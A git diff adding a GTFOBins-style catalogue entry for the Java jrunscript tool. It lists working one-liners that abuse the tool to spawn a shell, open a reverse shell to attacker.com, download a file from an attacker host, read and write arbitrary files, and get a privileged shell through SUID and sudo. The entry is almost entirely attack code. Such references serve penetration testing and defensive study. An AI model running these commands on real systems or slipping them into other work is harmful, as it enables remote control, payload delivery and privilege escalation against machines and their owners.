diff --git a/_gtfobins/jrunscript.md b/_gtfobins/jrunscript.md
new file mode 100644
index 0000000..84af4e2
--- /dev/null
+++ b/_gtfobins/jrunscript.md
@@ -0,0 +1,36 @@
+---
+description: This tool is installed starting with Java SE 6.
+functions:
+  shell:
+    - code: jrunscript -e "exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')"
+  reverse-shell:
+    - code: |
+        export RHOST=attacker.com
+        export RPORT=12345
+        jrunscript -e 'var host='"'""$RHOST""'"'; var port='"$RPORT"';
+        var p=new java.lang.ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();
+        var s=new java.net.Socket(host,port);
+        var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
+        var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
+        while(pi.available()>0)so.write(pi.read());
+        while(pe.available()>0)so.write(pe.read());
+        while(si.available()>0)po.write(si.read());
+        so.flush();po.flush();
+        java.lang.Thread.sleep(50);
+        try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'
+  file-download:
+    - description: Fetch a remote file via HTTP GET request.
+      code: |
+        export URL=http://attacker.com/file_to_get
+        export LFILE=file_to_save
+        jrunscript -e "cp('$URL','$LFILE')"
+  file-write:
+    - code: jrunscript -e 'var fw=new java.io.FileWriter("./file_to_write"); fw.write("DATA"); fw.close();'
+  file-read:
+    - code: jrunscript -e 'br = new BufferedReader(new java.io.FileReader("file_to_read"));
+         while ((line = br.readLine()) != null) { print(line); }'
+  suid:
+    - code: ./jrunscript -e "exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)')"
+  sudo:
+    - code: sudo jrunscript -e "exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')"
+---